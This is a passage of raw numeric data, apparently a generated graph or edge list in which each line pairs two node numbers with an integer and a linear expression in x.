6263\n87->66\t44\t79657*x + 7995\n98->78\t76\t3359*x + 6936\n89->91\t91\t103981*x + 14641\n14->74\t55\t51827*x + 2719\n62->78\t76\t55579*x + 2409\n54->29\t38\t60317*x + 7595\n16->28\t50\t34841*x + 4457\n78->9\t115\t83639*x + 1287\n5->69\t59\t21193*x + 920\n85->10\t46\t54277*x + 7052\n62->11\t43\t97159*x + 11316\n68->10\t46\t94229*x + 13952\n56->56\t119\t6221*x + 8107\n42->84\t89\t22531*x + 7170\n28->71\t37\t19973*x + 2658\n61->87\t121\t22259*x + 1402\n71->81\t32\t28163*x + 4091\n40->42\t87\t6449*x + 2676\n29->53\t120\t49057*x + 1013\n41->47\t90\t26261*x + 7993\n44->76\t124\t45491*x + 1922\n4->93\t98\t15443*x + 1748\n69->12\t101\t29101*x + 1294\n17->5\t82\t7219*x + 4143\n44->71\t37\t82241*x + 6658\n59->59\t84\t44711*x + 1879\n80->55\t39\t47981*x + 1723\n84->59\t84\t93607*x + 12699\n66->18\t80\t101117*x + 11453\n21->82\t40\t53087*x + 7127\n51->72\t92\t929*x + 8014\n50->40\t34\t73883*x + 4079\n41->77\t106\t68611*x + 4837\n96->9\t115\t70639*x + 1885\n5->14\t77\t39979*x + 7038\n51->3\t118\t36821*x + 3605\n74->5\t82\t71917*x + 1059\n57->50\t116\t4391*x + 3625\n63->7\t126\t57557*x + 2515\n95->37\t114\t62731*x + 4120\n65->43\t105\t101063*x + 8709\n7->22\t64\t58309*x + 4564\n25->33\t122\t51551*x + 3698\n65->53\t120\t57809*x + 6272\n98->34\t41\t34367*x + 2022\n7->97\t108\t78137*x + 483\n77->54\t94\t46153*x + 2971\n22->84\t89\t45589*x + 5376\n17->0\t33\t83969*x + 769\n41->70\t57\t56431*x + 4432\n61->75\t56\t90847*x + 11110\n46->69\t59\t54001*x + 4509\n21->85\t83\t433*x + 1505\n49->49\t68\t74857*x + 4037\n61->35\t88\t44867*x + 3139\n2->93\t98\t82657*x + 1646\n55->59\t84\t55921*x + 2681\n71->44\t45\t90403*x + 13221\n89->68\t36\t59617*x + 7568\n52->75\t56\t35759*x + 5377\n96->49\t68\t20899*x + 4307\n48->45\t13\t70121*x + 1096\n24->4\t48\t62687*x + 308\n19->99\t54\t31249*x + 3739\n41->74\t55\t49199*x + 5568\n68->56\t119\t62897*x + 3517\n99->4\t48\t77041*x + 7191\n13->72\t92\t64283*x + 2458\n48->65\t95\t57143*x + 504\n68->34\t41\t33223*x + 2556\n39->63\t60\t87853*x + 11204\n75->30\t96\t7253*x + 7215\n97->4\t48\t15413*x + 6200\n97->90\t86\t93523*x + 9270\n27->41\t73\t4519*x + 6535\n5->61\t10\t58481*x + 3333\n27->49\t68\t25673*x + 5518\n70->81\t32\t40343*x + 262\n60->55\t39\t46447*x + 6101\n89->8\t49\t55103*x + 7662\n81->40\t34\t70351*x + 814\n13->6\t123\t10691*x + 7409\n33->26\t81\t29599*x + 7467\n74->94\t125\t31543*x + 6410\n52->95\t111\t101693*x + 10769\n38->47\t90\t39749*x + 5156\n66->75\t56\t10273*x + 8101\n32->25\t52\t61723*x + 7139\n46->79\t100\t49991*x + 2164\n77->8\t49\t58067*x + 2061\n47->70\t57\t55849*x + 3022\n77->67\t117\t72959*x + 1231\n44->96\t67\t71713*x + 1896\n33->33\t122\t49121*x + 4056\n44->50\t116\t92153*x + 11694\n43->11\t43\t104239*x + 12660\n75->44\t45\t4099*x + 2224\n88->83\t12\t62827*x + 7123\n31->21\t9\t102841*x + 12764\n48->20\t62\t42089*x + 6193\n13->87\t121\t49633*x + 6550\n70->34\t41\t37783*x + 1703\n51->98\t93\t76129*x + 3112\n52->2\t72\t49109*x + 3582\n7->16\t66\t51871*x + 4862\n78->59\t84\t30643*x + 4063\n91->65\t95\t95311*x + 10608\n26->96\t67\t79613*x + 191\n0->65\t95\t1237*x + 7560\n43->84\t89\t18133*x + 1401\n47->48\t78\t90353*x + 12003\n6->86\t53\t46817*x + 4219\n33->0\t33\t53987*x + 1778\n31->15\t63\t90071*x + 15219\n55->89\t107\t89561*x + 15994\n40->59\t84\t29867*x + 43\n20->37\t114\t81647*x + 2321\n81->87\t121\t20347*x + 3425\n6->39\t113\t34631*x + 2968\n21->21\t9\t8731*x + 5840\n17->94\t125\t43577*x + 3233\n22->70\t57\t20107*x + 3406\n37->26\t81\t16273*x + 5186\n61->43\t105\t467*x + 7617\n34->91\t91\t9173*x + 4254\n34->73\t102\t65327*x + 2460\n59->80\t110\t96053*x + 15173\n77->46\t74\t90439*x + 15560\n34->69\t59\t69431*x + 2562\n34->92\t51\t44021*x + 6092\n51->99\t54\t9029*x + 5676\n75->25\t52\t8087*x + 951\n40->18\t80\t74869*x + 7733\n78->19\t61\t11743*x + 5076\n25->80\t110\t13001*x + 8089\n14->77\t106\t81223*x + 2446\n74->8\t49\t30211*x + 3513\n96->56\t119\t10459*x + 5282\n75->28\t50\t449*x + 6295\n96->61\t10\t80077*x + 6663\n89->44\t45\t26953*x + 2437\n84->75\t56\t71867*x + 7908\n47->81\t32\t38677*x + 6829\n42->24\t65\t97847*x + 14890\n65->92\t51\t83777*x + 8008\n67->82\t40\t92693*x + 15995\n94->80\t110\t20479*x + 672\n64->23\t11\t62851*x + 1939\n34->66\t44\t53189*x + 4165\n85->5\t82\t6311*x + 7072\n99->68\t36\t95479*x + 11577\n12->54\t94\t95009*x + 9863\n38->9\t115\t4013*x + 1742\n54->66\t44\t44257*x + 3215\n54->31\t47\t27751*x + 4940\n60->80\t110\t49739*x + 1770\n6->20\t62\t70241*x + 5506\n26->42\t87\t68683*x + 385\n95->79\t100\t59669*x + 780\n21->36\t79\t43789*x + 5126\n24->13\t99\t87833*x + 14422\n5->33\t122\t4093*x + 2178\n50->32\t69\t43973*x + 3341\n50->96\t67\t17293*x + 1365\n50->26\t81\t103963*x + 9340\n52->9\t115\t68699*x + 6233\n84->28\t50\t57193*x + 1727\n52->6\t123\t53201*x + 7671\n14->4\t48\t104683*x + 11730\n8->6\t123\t99577*x + 13184\n77->40\t34\t13697*x + 1215\n22->4\t48\t92849*x + 9606\n49->71\t37\t68311*x + 4221\n47->72\t92\t38453*x + 7251\n52->58\t35\t96557*x + 11235\n15->3\t118\t70223*x + 1347\n14->67\t117\t79273*x + 3723\n2->19\t61\t25561*x + 7655\n12->86\t53\t47969*x + 3205\n73->88\t71\t37493*x + 897\n99->12\t101\t4397*x + 2533\n72->13\t99\t98411*x + 14033\n1->70\t57\t67891*x + 822\n30->51\t97\t99907*x + 16195\n98->60\t85\t19661*x + 6023\n38->17\t104\t5297*x + 4967\n73->75\t56\t50033*x + 7122\n83->58\t35\t54563*x + 3549\n64->52\t42\t18217*x + 371\n55->38\t75\t87317*x + 16166\n82->53\t120\t58943*x + 5668\n60->65\t95\t787*x + 7759\n75->33\t122\t12941*x + 4660\n37->63\t60\t5107*x + 528\n31->53\t120\t75883*x + 3253\n43->18\t80\t70853*x + 318\n26->48\t78\t86111*x + 11773\n96->60\t85\t46091*x + 6807\n75->3\t118\t80489*x + 6916\n93->33\t122\t90887*x + 14186\n17->67\t117\t40099*x + 1308\n18->29\t38\t14879*x + 6310\n87->29\t38\t17*x + 209\n33->97\t108\t80279*x + 7232\n78->63\t60\t40031*x + 4193\n28->59\t84\t78277*x + 5532\n87->2\t72\t101159*x + 13171\n94->61\t10\t773*x + 4604\n42->65\t95\t58787*x + 6466\n76->47\t90\t59069*x + 7565\n5->68\t36\t16063*x + 983\n94->11\t43\t17921*x + 7921\n27->58\t35\t45779*x + 4958\n92->97\t108\t79187*x + 6261\n57->46\t74\t43271*x + 143\n35->89\t107\t47513*x + 1161\n7->64\t70\t46349*x + 945\n85->8\t49\t60937*x + 4791\n54->80\t110\t71647*x + 7441\n2->26\t81\t10781*x + 854\n19->70\t57\t70991*x + 6298\n86->29\t38\t25541*x + 1616\n93->51\t97\t89237*x + 14670\n21->68\t36\t82633*x + 3191\n23->43\t105\t101663*x + 8872\n64->53\t120\t5101*x + 3980\n92->58\t35\t85223*x + 10811\n41->12\t101\t28571*x + 3194\n37->9\t115\t6343*x + 7684\n89->79\t100\t32237*x + 7664\n60->25\t52\t66533*x + 1728\n19->16\t66\t10139*x + 8038\n1->46\t74\t9613*x + 3049\n7->99\t54\t27061*x + 2810\n76->12\t101\t23893*x + 3384\n11->32\t69\t48883*x + 6005\n62->58\t35\t2243*x + 2402\n47->6\t123\t26407*x + 4880\n85->93\t98\t94433*x + 9506\n92->10\t46\t55837*x + 5048\n17->2\t72\t38273*x + 75\n13->11\t43\t10223*x + 7876\n68->51\t97\t62053*x + 4112\n36->73\t102\t1559*x + 7070\n36->96\t67\t80683*x + 7126\n9->31\t47\t47497*x + 1385\n53->88\t71\t57641*x + 264\n78->43\t105\t68483*x + 4224\n19->24\t65\t30469*x + 6919\n10->21\t9\t94811*x + 14247\n7->72\t92\t95101*x + 8384\n85->76\t124\t32491*x + 1506\n33->53\t120\t64921*x + 3962\n65->20\t62\t91703*x + 8220\n74->10\t46\t103237*x + 15125\n34->11\t43\t78157*x + 2740\n23->32\t69\t4673*x + 5428\n19->22\t64\t6547*x + 2477\n10->63\t60\t20249*x + 2063\n93->5\t82\t55201*x + 296\n32->88\t71\t30367*x + 6449\n54->93\t98\t52967*x + 1700\n10->42\t87\t39233*x + 5088\n62->37\t114\t51413*x + 3603\n9->67\t117\t60089*x + 3581\n37->14\t77\t99829*x + 11090\n53->31\t47\t104089*x + 10806\n75->7\t126\t85427*x + 8869\n61->44\t45\t57947*x + 5328\n7->73\t102\t52147*x + 3256\n6->11\t43\t79847*x + 6265\n9->38\t75\t16381*x + 3493\n93->47\t90\t48463*x + 5670\n18->95\t111\t99679*x + 14274\n23->26\t81\t62191*x + 3179\n54->19\t61\t30671*x + 2037\n56->63\t60\t62539*x + 1319\n42->59\t84\t36683*x + 4498\n36->11\t43\t92369*x + 9714\n51->7\t126\t14533*x + 206\n78->45\t13\t56999*x + 5329\n45->94\t125\t13999*x + 1171\n14->42\t87\t79333*x + 1969\n23->97\t108\t43963*x + 5055\n81->91\t91\t53323*x + 392\n61->46\t74\t26203*x + 7295\n21->57\t109\t58403*x + 1859\n6->46\t74\t27919*x + 3281\n36->38\t75\t14753*x + 6749\n93->26\t81\t11093*x + 6021\n76->18\t80\t87559*x + 10661\n56->65\t95\t88397*x + 10707\n29->65\t95\t86389*x + 12988\n47->23\t11\t11593*x + 2964\n13->17\t104\t103451*x + 12779\n8->2\t72\t39667*x + 4002\n1->37\t114\t61*x + 4276\n79->52\t42\t8291*x + 4231\n42->98\t93\t10141*x + 7452\n36->97\t108\t84869*x + 14259\n90->87\t121\t49207*x + 5293\n30->75\t56\t81553*x + 398\n63->39\t113\t45697*x + 2049\n43->10\t46\t4547*x + 3023\n76->72\t92\t14537*x + 1744\n88->58\t35\t37441*x + 4208\n80->86\t53\t80287*x + 7435\n89->9\t115\t82727*x + 4423\n80->91\t91\t65983*x + 7605\n69->64\t70\t91373*x + 14969\n19->8\t49\t84533*x + 10484\n8->61\t10\t24793*x + 1991\n17->55\t39\t34211*x + 2616\n62->3\t118\t79229*x + 1647\n63->96\t67\t11927*x + 7501\n73->4\t48\t91163*x + 11922\n41->61\t10\t6823*x + 1918\n16->37\t114\t99251*x + 16087\n14->61\t10\t9803*x + 7659\n37->17\t104\t27967*x + 1262\n8->89\t107\t3041*x + 3904\n29->50\t116\t76213*x + 1284\n93->62\t103\t93487*x + 16088\n71->83\t12\t51803*x + 1983\n3->56\t119\t613*x + 3906\n21->24\t65\t2477*x + 1998\n99->95\t111\t14519*x + 1063\n40->79\t100\t15091*x + 4425\n25->22\t64\t50087*x + 4598\n17->88\t71\t14543*x + 6215\n63->26\t81\t26267*x + 7513\n16->88\t71\t89449*x + 15136\n69->99\t54\t2897*x + 1124\n12->42\t87\t3631*x + 5230\n29->49\t68\t41077*x + 1393\n12->56\t119\t19709*x + 2092\n1->82\t40\t80599*x + 1793\n15->65\t95\t62071*x + 5326\n72->3\t118\t31657*x + 83\n54->13\t99\t10639*x + 7947\n55->71\t37\t49307*x + 1515\n65->46\t74\t51229*x + 1664\n84->80\t110\t32771*x + 7902\n79->64\t70\t34583*x + 252\n89->96\t67\t29033*x + 200\n59->32\t69\t33023*x + 843\n60->90\t86\t26251*x + 501\n22->54\t94\t63311*x + 2403\n7->21\t9\t83431*x + 4668\n74->39\t113\t74827*x + 6994\n51->86\t53\t11807*x + 3892\n82->96\t67\t23663*x + 4663\n40->41\t73\t44293*x + 7262\n80->40\t34\t97373*x + 8598\n55->29\t38\t10433*x + 3405\n99->64\t70\t37021*x + 3216\n40->37\t114\t18713*x + 7314\n66->47\t90\t84719*x + 12314\n0->32\t69\t67939*x + 6900\n5->3\t118\t103567*x + 13880\n80->99\t54\t98017*x + 16258\n99->11\t43\t39397*x + 2019\n71->99\t54\t101537*x + 11237\n38->33\t122\t8501*x + 5965\n63->60\t85\t73417*x + 426\n6->61\t10\t50119*x + 7077\n1->95\t111\t49927*x + 236\n20->55\t39\t32261*x + 1582\n46->97\t108\t38651*x + 8021\n19->54\t94\t41381*x + 6443\n46->36\t79\t80917*x + 840\n11->25\t52\t60271*x + 800\n30->69\t59\t61813*x + 445\n1->57\t109\t60899*x + 1938\n35->61\t10\t3793*x + 5090\n56->46\t74\t17959*x + 5003\n64->30\t96\t53699*x + 5214\n72->75\t56\t33311*x + 3490\n47->21\t9\t47441*x + 7272\n89->5\t82\t46027*x + 1439\n4->80\t110\t70583*x + 3627\n40->9\t115\t50377*x + 1474\n10->96\t67\t10723*x + 4544\n87->56\t119\t57097*x + 5435\n63->44\t45\t80167*x + 1667\n7->54\t94\t79337*x + 533\n73->9\t115\t38219*x + 900\n7->27\t58\t19751*x + 304\n51->19\t61\t36109*x + 493\n19->88\t71\t30631*x + 6245\n95->65\t95\t80611*x + 2432\n37->86\t53\t100519*x + 11404\n57->43\t105\t67369*x + 4188\n78->75\t56\t70849*x + 7770\n91->25\t52\t7213*x + 5702\n79->54\t94\t9479*x + 8084\n59->92\t51\t38083*x + 4459\n13->95\t111\t6299*x + 7840\n44->79\t100\t5399*x + 508\n44->0\t33\t12071*x + 6155\n90->90\t86\t33329*x + 4589\n13->76\t124\t19891*x + 6607\n87->90\t86\t81629*x + 6217\n72->74\t55\t79549*x + 6755\n54->87\t121\t3313*x + 7366\n76->42\t87\t20261*x + 4036\n54->82\t40\t18371*x + 3620\n75->40\t34\t74093*x + 322\n43->86\t53\t36761*x + 7203\n29->6\t123\t104393*x + 11607\n57->52\t42\t104243*x + 11873\n37->71\t37\t51503*x + 314\n47->50\t116\t36833*x + 6243\n78->95\t111\t67531*x + 5901\n38->10\t46\t57397*x + 1181\n69->7\t126\t66851*x + 4804\n68->90\t86\t91099*x + 12880\n68->93\t98\t103991*x + 13225\n8->29\t38\t36373*x + 663\n48->94\t125\t88667*x + 15206\n19->17\t104\t5903*x + 7706\n8->53\t120\t57973*x + 2008\n0->16\t66\t80537*x + 4886\n90->0\t33\t3511*x + 7912\n86->94\t125\t2069*x + 7071\n7->23\t11\t7963*x + 3300\n88->61\t10\t94321*x + 8414\n91->75\t56\t101449*x + 11400\n95->88\t71\t43067*x + 2675\n31->81\t32\t24611*x + 6705\n73->89\t107\t6271*x + 6948\n36->4\t48\t94541*x + 12879\n90->21\t9\t50593*x + 4755\n10->30\t96\t77611*x + 2548\n74->90\t86\t16189*x + 6364\n32->83\t12\t62861*x + 5646\n24->47\t90\t3803*x + 2235\n43->81\t32\t33791*x + 1898\n93->52\t42\t2927*x + 6306\n94->83\t12\t70067*x + 7482\n91->79\t100\t69263*x + 6980\n34->43\t105\t79873*x + 7320\n48->15\t63\t70481*x + 7120\n24->82\t40\t24373*x + 8166\n18->65\t95\t72221*x + 4750\n33->24\t65\t36709*x + 6097\n84->16\t66\t23567*x + 6955\n94->5\t82\t76717*x + 4443\n66->44\t45\t98041*x + 11653\n77->47\t90\t28579*x + 5692\n32->39\t113\t19727*x + 1060\n10->13\t99\t22717*x + 4244\n43->60\t85\t24917*x + 1923\n76->74\t55\t283*x + 7620\n33->23\t11\t9413*x + 7932\n1->7\t126\t2333*x + 555\n81->74\t55\t1667*x + 7789\n15->40\t34\t98929*x + 9970\n49->91\t91\t101113*x + 16189\n15->48\t78\t86677*x + 13376\n11->78\t76\t95083*x + 8588\n57->85\t83\t3023*x + 3099\n83->98\t93\t78301*x + 4849\n54->45\t13\t96497*x + 16184\n98->69\t59\t1423*x + 3874\n97->63\t60\t55351*x + 6079\n66->54\t94\t47407*x + 6781\n15->49\t68\t71161*x + 5231\n54->47\t90\t61967*x + 6042\n50->58\t35\t48109*x + 2500\n7->46\t74\t5743*x + 48\n87->96\t67\t50341*x + 4896\n16->87\t121\t38833*x + 7797\n86->45\t13\t17761*x + 6006\n30->40\t34\t66413*x + 3311\n53->57\t109\t76963*x + 7642\n9->62\t103\t40637*x + 2287\n60->88\t71\t35923*x + 764\n9->20\t62\t24001*x + 1985\n2->95\t111\t91309*x + 13445\n57->36\t79\t33199*x + 4185\n91->8\t49\t26591*x + 1914\n66->1\t112\t40763*x + 1676\n24->72\t92\t9323*x + 3155\n25->83\t12\t7*x + 2995\n8->66\t44\t10181*x + 782\n36->87\t121\t91577*x + 11760\n26->46\t74\t95603*x + 13877\n91->94\t125\t23311*x + 274\n30->63\t60\t59063*x + 2367\n69->77\t106\t31891*x + 3424\n37->37\t114\t87253*x + 14301\n24->20\t62\t12479*x + 2055\n81->61\t10\t53569*x + 6730\n26->71\t37\t71777*x + 3527\n5->21\t9\t46933*x + 6609\n50->89\t107\t33343*x + 4001\n64->41\t73\t12329*x + 2695\n11->0\t33\t81001*x + 2405\n59->42\t87\t28439*x + 4452\n58->33\t122\t89759*x + 9772\n39->53\t120\t77951*x + 4507\n67->23\t11\t16103*x + 3638\n10->51\t97\t46309*x + 5178\n61->58\t35\t29927*x + 5056\n56->1\t112\t53783*x + 7645\n19->20\t62\t40709*x + 6914\n74->72\t92\t3319*x + 4417\n47->59\t84\t6247*x + 1741\n25->75\t56\t71167*x + 3227\n87->18\t80\t32143*x + 3547\n74->2\t72\t44111*x + 7049\n4->23\t11\t27961*x + 548\n73->65\t95\t52511*x + 4615\n43->82\t40\t16603*x + 3257\n3->64\t70\t76253*x + 2877\n38->86\t53\t8573*x + 3630\n75->83\t12\t95413*x + 13117\n13->2\t72\t51973*x + 3773\n72->37\t114\t63389*x + 4731\n10->75\t56\t43651*x + 1555\n25->62\t103\t86171*x + 11823\n82->26\t81\t12227*x + 3778\n99->80\t110\t67789*x + 5936\n47->86\t53\t52807*x + 1780\n50->35\t88\t58049*x + 6363\n24->21\t9\t16993*x + 3733\n87->84\t89\t74779*x + 7204\n30->64\t70\t24469*x + 5393\n43->90\t86\t82981*x + 2720\n85->37\t114\t98999*x + 13915\n75->93\t98\t27337*x + 5625\n76->23\t11\t51329*x + 6189\n99->43\t105\t71963*x + 8010\n44->78\t76\t14983*x + 2619\n82->5\t82\t95443*x + 12664\n35->93\t98\t82651*x + 631\n81->3\t118\t98639*x + 14824\n44->16\t66\t70621*x + 1145\n61->15\t63\t14431*x + 7371\n17->41\t73\t102481*x + 10886\n53->17\t104\t89387*x + 11928\n59->62\t103\t68891*x + 8099\n31->59\t84\t47189*x + 7233\n10->45\t13\t59743*x + 6570\n0->67\t117\t65731*x + 6729\n49->44\t45\t5179*x + 2258\n12->37\t114\t1471*x + 2381\n42->20\t62\t367*x + 1909\n98->52\t42\t91733*x + 11057\n50->79\t100\t44483*x + 5740\n62->22\t64\t25471*x + 7011\n24->94\t125\t701*x + 6390\n38->27\t58\t31319*x + 6874\n23->2\t72\t66923*x + 7083\n17->18\t80\t11161*x + 2863\n89->30\t96\t4493*x + 7648\n90->89\t107\t79433*x + 4758\n58->50\t116\t18169*x + 2129\n52->24\t65\t58757*x + 3776\n42->66\t44\t39419*x + 1058\n5->34\t41\t33739*x + 7285\n93->37\t114\t22943*x + 7332\n2->18\t80\t71707*x + 7349\n19->53\t120\t7841*x + 2803\n39->32\t69\t82267*x + 7981\n6->97\t108\t57251*x + 1442\n96->31\t47\t27773*x + 3262\n8->74\t55\t60427*x + 8078\n42->69\t59\t38699*x + 5352\n99->5\t82\t69677*x + 323\n71->74\t55\t75437*x + 4683\n6->13\t99\t6907*x + 6072\n68->36\t79\t12487*x + 4345\n51->69\t59\t82067*x + 4720\n49->61\t10\t20897*x + 1666\n16->84\t89\t2053*x + 5603\n57->1\t112\t103391*x + 14029\n48->36\t79\t1291*x + 4975\n49->55\t39\t2437*x + 2145\n71->51\t97\t14627*x + 7007\n91->99\t54\t45247*x + 3595\n65->91\t91\t36857*x + 5929\n63->92\t51\t88493*x + 13501\n73->39\t113\t53419*x + 2294\n97->27\t58\t52769*x + 4163\n91->45\t13\t24071*x + 3868\n64->74\t55\t79259*x + 1907\n50->74\t55\t43003*x + 4154\n31->97\t108\t3229*x + 783\n34->93\t98\t13799*x + 4619\n53->93\t98\t43889*x + 7465\n66->20\t62\t99839*x + 14734\n41->98\t93\t25679*x + 6943\n81->27\t58\t54437*x + 1300\n57->55\t39\t78697*x + 4678\n85->18\t80\t8647*x + 5168\n86->60\t85\t18127*x + 6619\n76->55\t39\t64033*x + 1508\n2->79\t100\t102829*x + 10546\n94->81\t32\t62039*x + 1691\n57->4\t48\t81547*x + 1039\n97->6\t123\t70507*x + 3489\n39->34\t41\t83399*x + 1963\n55->64\t70\t58211*x + 5105\n64->6\t123\t94261*x + 14803\n40->82\t40\t80363*x + 4451\n42->3\t118\t40739*x + 6418\n65->2\t72\t92987*x + 9937\n59->38\t75\t98129*x + 11981\n84->46\t74\t1063*x + 8134\n39->71\t37\t69493*x + 467\n35->80\t110\t73259*x + 5974\n38->26\t81\t45823*x + 6266\n27->51\t97\t1993*x + 5925\n68->43\t105\t72431*x + 2875\n31->55\t39\t32117*x + 6038\n76->3\t118\t101089*x + 14032\n63->25\t52\t103007*x + 10256\n32->86\t53\t31267*x + 5871\n2->91\t91\t32569*x + 4436\n36->25\t52\t22013*x + 8\n85->49\t68\t54413*x + 8133\n21->33\t122\t102197*x + 9816\n10->27\t58\t54617*x + 3990\n75->94\t125\t92993*x + 15564\n83->10\t46\t211*x + 793\n36->55\t39\t13127*x + 364\n87->69\t59\t4073*x + 5548\n79->67\t117\t67219*x + 973\n46->89\t107\t72649*x + 2917\n70->97\t108\t51043*x + 2440\n2->32\t69\t63977*x + 6420\n67->7\t126\t60041*x + 1787\n98->59\t84\t85819*x + 9861\n20->98\t93\t54979*x + 2165\n55->11\t43\t57457*x + 7237\n8->62\t103\t51539*x + 116\n19->33\t122\t75223*x + 3897\n98->43\t105\t96443*x + 11699\n44->22\t64\t50329*x + 7510\n11->43\t105\t21379*x + 1999\n97->37\t114\t71789*x + 461\n0->37\t114\t941*x + 2241\n8->17\t104\t25849*x + 5419\n79->24\t65\t53239*x + 6721\n90->73\t102\t76441*x + 5259\n97->71\t37\t61583*x + 953\n31->22\t64\t94477*x + 10042\n61->60\t85\t49871*x + 771\n95->77\t106\t37463*x + 2950\n7->62\t103\t87557*x + 12059\n41->73\t102\t66457*x + 27\n90->54\t94\t14827*x + 995\n17->8\t49\t71081*x + 1810\n63->46\t74\t21863*x + 5113\n84->76\t124\t16619*x + 6052\n92->24\t65\t53017*x + 4381\n91->71\t37\t57901*x + 4982\n83->89\t107\t34679*x + 944\n39->75\t56\t63617*x + 4521\n19->73\t102\t36713*x + 3225\n82->11\t43\t83903*x + 2074\n92->73\t102\t30427*x + 1517\n41->18\t80\t55603*x + 3555\n14->71\t37\t27701*x + 2283\n39->88\t71\t53819*x + 3310\n76->84\t89\t8059*x + 2386\n72->63\t60\t91229*x + 11761\n98->4\t48\t29453*x + 56\n66->3\t118\t29*x + 7793\n48->29\t38\t661*x + 540\n11->74\t55\t61441*x + 6318\n1->61\t10\t51109*x + 6142\n20->79\t100\t30323*x + 3678\n56->45\t13\t11353*x + 1574\n14->63\t60\t88951*x + 13520\n43->77\t106\t56701*x + 4690\n86->52\t42\t98387*x + 11720\n40->8\t49\t55529*x + 2201\n58->52\t42\t55051*x + 4027\n40->54\t94\t54767*x + 7026\n83->29\t38\t13093*x + 2871\n3->73\t102\t52369*x + 7445\n34->58\t35\t15101*x + 823\n47->37\t114\t43517*x + 476\n8->57\t109\t20201*x + 470\n93->54\t94\t76831*x + 4000\n57->94\t125\t41941*x + 2234\n33->91\t91\t74383*x + 5666\n35->19\t61\t67537*x + 5555\n73->73\t102\t83101*x + 8055\n85->69\t59\t22409*x + 3035\n27->13\t99\t102407*x + 10701\n57->0\t33\t37511*x + 1854\n61->95\t111\t30839*x + 2710\n92->63\t60\t65521*x + 7009\n51->17\t104\t25033*x + 4692\n29->94\t125\t36779*x + 8127\n65->84\t89\t587*x + 1866\n58->41\t73\t41161*x + 5564\n70->58\t35\t2029*x + 2348\n75->45\t13\t17599*x + 5062\n56->38\t75\t15497*x + 682\n21->31\t47\t4483*x + 8139\n32->17\t104\t76487*x + 5360\n10->77\t106\t31573*x + 2361\n30->21\t9\t75707*x + 2670\n81->9\t115\t12907*x + 7868\n57->33\t122\t20717*x + 3689\n84->92\t51\t94121*x + 10113\n87->83\t12\t17011*x + 594\n19->96\t67\t73*x + 494\n17->92\t51\t32159*x + 907\n44->26\t81\t12301*x + 849\n75->24\t65\t59791*x + 2172\n55->41\t73\t39761*x + 2327\n39->46\t74\t16217*x + 5177\n67->47\t90\t4423*x + 7725\n1->32\t69\t67967*x + 5830\n48->21\t9\t7537*x + 537\n77->23\t11\t77743*x + 380\n71->33\t122\t104107*x + 10144\n32->7\t126\t96581*x + 10788\n66->32\t69\t44129*x + 696\n46->34\t41\t17783*x + 7189\n32->69\t59\t84179*x + 12391\n93->3\t118\t15877*x + 2608\n92->3\t118\t82361*x + 7135\n64->46\t74\t8741*x + 6823\n65->60\t85\t14011*x + 873\n61->83\t12\t46477*x + 700\n42->21\t9\t21061*x + 1010\n51->51\t97\t75133*x + 2300\n48->68\t36\t85247*x + 9395\n5->4\t48\t72251*x + 3791\n48->54\t94\t61781*x + 3988\n44->87\t121\t86117*x + 11034\n56->78\t76\t83047*x + 257\n92->37\t114\t4937*x + 5027\n94->15\t63\t57163*x + 5354\n29->74\t55\t97327*x + 16011\n28->21\t9\t26777*x + 7952\n95->64\t70\t51419*x + 3213\n12->72\t92\t69991*x + 6019\n53->95\t111\t37571*x + 198\n75->39\t113\t15319*x + 107\n61->13\t99\t101527*x + 14628\n24->32\t69\t46471*x + 5077\n30->11\t43\t17401*x + 6057\n0->94\t125\t14767*x + 2311\n93->66\t44\t89659*x + 12533\n80->53\t120\t46147*x + 3055\n39->30\t96\t71909*x + 1619\n21->51\t97\t31517*x + 2387\n1->15\t63\t83177*x + 6899\n12->23\t11\t54469*x + 8042\n39->29\t38\t68713*x + 6773\n11->27\t58\t83389*x + 6717\n32->62\t103\t95789*x + 12429\n21->0\t33\t2819*x + 312\n40->89\t107\t70843*x + 5594\n7->47\t90\t82387*x + 7977\n8->41\t73\t61339*x + 2444\n0->74\t55\t43237*x + 6254\n44->29\t38\t48571*x + 6437\n35->84\t89\t4153*x + 3599\n5->89\t107\t86423*x + 8608\n40->75\t56\t7879*x + 5115\n68->22\t64\t48821*x + 1654\n75->50\t116\t47309*x + 770\n60->36\t79\t6577*x + 2714\n9->15\t63\t24337*x + 2069\n63->54\t94\t84649*x + 9854\n69->87\t121\t43*x + 2895\n93->49\t68\t8191*x + 84\n22->86\t53\t96157*x + 8548\n67->3\t118\t18413*x + 7752\n32->97\t108\t5011*x + 7544\n61->55\t39\t50321*x + 847\n84->86\t53\t41221*x + 7957\n17->10\t46\t31223*x + 5656\n85->52\t42\t100937*x + 10670\n97->78\t76\t72673*x + 4653\n88->51\t97\t63131*x + 6934\n1->10\t46\t63997*x + 7226\n88->16\t66\t76283*x + 909\n19->4\t48\t55829*x + 577\n83->13\t99\t54091*x + 4040\n17->17\t104\t103619*x + 8700\n62->62\t103\t13499*x + 5842\n47->9\t115\t34537*x + 2628\n73->67\t117\t75539*x + 7628\n38->73\t102\t103093*x + 14748\n25->60\t85\t8719*x + 1339\n82->41\t73\t77933*x + 7737\n45->77\t106\t45341*x + 4788\n36->84\t89\t73523*x + 1844\n67->30\t96\t26701*x + 2577\n82->56\t119\t86287*x + 8193\n76->53\t120\t60821*x + 3669\n76->9\t115\t67189*x + 3585\n45->28\t50\t15727*x + 1390\n39->94\t125\t24029*x + 8154\n52->73\t102\t99881*x + 9167\n82->35\t88\t38239*x + 6812\n35->87\t121\t50093*x + 6088\n96->19\t61\t34313*x + 2656\n27->47\t90\t4001*x + 7381\n53->44\t45\t27541*x + 4351\n15->16\t66\t67993*x + 7809\n85->84\t89\t37589*x + 637\n51->59\t84\t2089*x + 2939\n43->75\t56\t64303*x + 1015\n58->82\t40\t63499*x + 1472\n40->58\t35\t93493*x + 10513\n24->42\t87\t10771*x + 7946\n13->42\t87\t36551*x + 6713\n8->3\t118\t17047*x + 2558\n25->31\t47\t947*x + 2147\n91->81\t32\t81667*x + 698\n20->31\t47\t51437*x + 1580\n49->45\t13\t21851*x + 3441\n11->7\t126\t85711*x + 13182\n30->39\t113\t60103*x + 5558\n79->31\t47\t82889*x + 3655\n86->22\t64\t48049*x + 3743\n70->41\t73\t102967*x + 11949\n67->40\t34\t68917*x + 767\n9->25\t52\t81049*x + 1028\n62->46\t74\t75773*x + 8148\n75->86\t53\t92647*x + 14093\n55->4\t48\t96281*x + 15518\n35->46\t74\t41911*x + 3467\n19->78\t76\t15139*x + 5174\n69->95\t111\t60493*x + 6352\n13->5\t82\t88813*x + 9295\n91->34\t41\t25771*x + 1340\n70->8\t49\t99289*x + 